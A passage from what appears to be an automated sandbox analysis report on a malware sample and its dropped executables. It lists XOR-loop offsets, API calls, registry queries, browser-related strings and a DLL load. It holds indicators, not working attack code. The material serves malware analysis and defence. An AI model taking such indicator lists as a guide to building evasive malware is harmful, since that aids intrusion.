bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 887876; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 890824; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 894056; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 913562; code bytes = 8030 Found XOR loop in file "yX3Tk97.exe" at offset 159610; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 205029; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 227429; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 249204; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 429904; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 452208; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 542534; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 572105; code bytes = 30d0 Found XOR loop in file "yX3Tk97.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 243520; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 291751; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 299787; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 342225; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 438244; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 438699; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 503844; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 561511; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 606986; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 689081; code bytes = 33c1 Found XOR loop in file "yX3Tk97.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "yX3Tk97.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "yX3Tk97.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "yX3Tk97.exe" at offset 200430; code bytes = 8030 Found XOR loop in file "yX3Tk97.exe" at offset 381056; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 8212; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8477; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8495; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8525; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8572; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8590; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8613; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8647; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8740; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 8789; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 9398; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 10168; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 10288; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 191652; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 417150; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 662243; code bytes = 30d0 Found XOR loop in file "6gz238.exe" at offset 3022; code bytes = 33c1 Found XOR loop in file "6gz238.exe" at offset 3127; code bytes = 33c1 Found XOR loop in file "6gz238.exe" at offset 7374; code bytes = 33c1 Found XOR loop in file "6gz238.exe" at offset 10938; code bytes = 33c1 Found XOR loop in file "6gz238.exe" at offset 642496; code bytes = 33c1 Found XOR loop in file "6gz238.exe" at offset 146; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 178; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 662224; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 664000; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 667269; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 669934; code bytes = 8030 Found XOR loop in file "6gz238.exe" at offset 670181; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 8228; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8493; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8511; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8541; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8588; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8606; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8629; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8663; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8756; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 8805; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 9414; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 10184; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 10304; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 344121; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 344383; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 345319; code bytes = 30d0 Found XOR loop in file "5IC74Hi.exe" at offset 3026; code bytes = 33c1 Found XOR loop in file "5IC74Hi.exe" at offset 3131; code bytes = 33c1 Found XOR loop in file "5IC74Hi.exe" at offset 7390; code bytes = 33c1 Found XOR loop in file "5IC74Hi.exe" at offset 10954; code bytes = 33c1 Found XOR loop in file "5IC74Hi.exe" at offset 146; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 178; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 139734; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 194133; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 345300; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 347076; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 350341; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 353006; code bytes = 8030 Found XOR loop in file "5IC74Hi.exe" at offset 353253; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 8228; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8493; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8511; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8541; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8588; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8606; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8629; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8663; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8756; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 8805; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 9414; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 10184; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 10304; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 304185; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 304447; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 305383; code bytes = 30d0 Found XOR loop in file "4fJ5jN0.exe" at offset 3026; code bytes = 33c1 Found XOR loop in file "4fJ5jN0.exe" at offset 3131; code bytes = 33c1 Found XOR loop in file "4fJ5jN0.exe" at offset 7390; code bytes = 33c1 Found XOR loop in file "4fJ5jN0.exe" at offset 10954; code bytes = 33c1 Found XOR loop in file "4fJ5jN0.exe" at offset 229146; code bytes = 33c1 Found XOR loop in file "4fJ5jN0.exe" at offset 146; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 178; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 305364; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 307140; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 310405; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 313070; code bytes = 8030 Found XOR loop in file "4fJ5jN0.exe" at offset 313317; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 174264; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 195301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 225537; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 301922; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 355124; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 396704; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 419104; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 440911; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 621790; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 644111; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 734535; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 764138; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 886616; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 913745; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 965931; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1126554; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1300638; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1325590; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1331880; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1333797; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 26031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 242784; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 301713; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 336930; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 435227; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 483491; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 491543; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 534031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 630147; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 630602; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 695795; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 753528; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 799052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 972931; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 992263; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148518; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1188641; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1391033; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 90891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 102399; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 103104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 146630; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 181261; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 185382; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 329112; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 374160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 572894; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1250938; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1273661; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1331182; code bytes = 803031:T425,file/memory contains long string with (Indicator: "youtube.com"; File: "supported_browsers_1_.htm") file/memory contains long string with (Indicator: "youtube.com"; File: "7EFPGUBN.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "FA813BQM.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "0T9Z8YGU.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "P090QVSD.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "QJLRNKJ9.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "WXZXLCO7.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube.com"; File: "RMBB2YBH.txt") Found string "accounts.youtube.com" (Indicator: "youtube.com"; File: "PCAP") Found string "www.paypal.com" (Indicator: "paypal.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube.com"; File: "PCAP") file/memory contains long string with (Indicator: "youtube.com"; File: "SSL")32:T3441,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001476) "Px7mP64.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003376) "Px7mP64.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003376) "yX3Tk97.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000292) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000084e1b90290e1b90258e3b90292e0496acd9053affeffffffd8e2b90216bc486a0c91eeb7010000000ce2b902d8e2b90220bc486a0600000000005369010000002fbc486a2a000000060000000c91eeb701000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ce3b90200000000760000006ce3b902fefffffff4e2b902cf001f77d6001f77edf58c75760000003b0000006ce3b90200000000c8e2b9020000000030e3b90295e11a7701112b00feffffffd6001f772f7b2e75010000005000400b167b2e75b94e8cc7 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000054ddf40360ddf40328dff40392e0496acd9053affeffffffa8def40316bc486a64e7968003000000dcddf403a8def40320bc486a8205000000005369010000002fbc486a2a0000008205000064e7968003000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000084dc3c0490dc3c0458de3c0492e0496acd9053affeffffffd8dd3c0416bc486a6812ae15050000000cdd3c04d8dd3c0420bc486a8205000000005369010000002fbc486a2a000000820500006812ae1505000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000c4e2b702d0e2b70298e4b70292e0496acd9053affeffffff18e4b70216bc486a50cbc9c9060000004ce3b70218e4b70220bc486a8205000000005369010000002fbc486a2a0000008205000050cbc9c906000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000d4def203e0def203a8e0f20392e0496acd9053affeffffff28e0f20316bc486ad6a44e36080000005cdff20328e0f20320bc486a8205000000005369010000002fbc486a2a00000082050000d6a44e3608000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000074debf0280debf0248e0bf0292e0496acd9053affeffffffc8dfbf0216bc486a84b4a4b009000000fcdebf02c8dfbf0220bc486a8205000000005369010000002fbc486a2a0000008205000084b4a4b009000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000014e3bd0220e3bd02e8e4bd0292e0496acd9053affeffffff68e4bd0216bc486a08e8c7180b0000009ce3bd0268e4bd0220bc486a8205000000005369010000002fbc486a2a0000008205000008e8c7180b000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000044ddff0350ddff0318dfff0392e0496acd9053affeffffff98deff0316bc486a9e598fe10c000000ccddff0398deff0320bc486a8205000000005369010000002fbc486a2a000000820500009e598fe10c000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000034e1bd0240e1bd0208e3bd0292e0496acd9053affeffffff88e2bd0216bc486a523917970e000000bce1bd0288e2bd0220bc486a8205000000005369010000002fbc486a2a00000082050000523917970e000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "3Wl168Kl.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000024e4eb0330e4eb03f8e5eb0392e0496acd9053affeffffff78e5eb0316bc486af6530e7e10000000ace4eb0378e5eb0320bc486a8205000000005369010000002fbc486a2a00000082050000f6530e7e10000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00006000) "4fJ5jN0.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004536) "5IC74Hi.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004856)33:T468,"3Wl168Kl.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006000) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000c31660000000000000074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c006100700070006c00610075006e00630068002e00650078006500000000000000000000001900001946220000808e6600985c660000000000 (UID: 00000000-00004648) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000000000000000000000000000000000000000000000000000000b2f41e773a2f02775ceb300000008271000082710000000000000000f0000000f000827100000000c8ea3000000000005cec300000000000010000002ceb300040f51e77000000000000000018eb3000 (UID: 00000000-00004648)34:T6c1,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Px7mP64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Px7mP64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "yX3Tk97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "yX3Tk97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "3Wl168Kl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Wl168Kl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "4fJ5jN0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4fJ5jN0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "5IC74Hi.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "5IC74Hi.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "6gz238.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "6gz238.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")35:T4d9,Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "00004648.00001228.5790327.00402000.wprm")36:T4b8,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00004648-0000010C-1668451 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00004648-0000010C-5978386 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00004648-0000010C-5983829 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00004648-0000010C-7702253 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00004648-0000010C-7706608 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004648-0000010C-876760537:T2dd3,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll 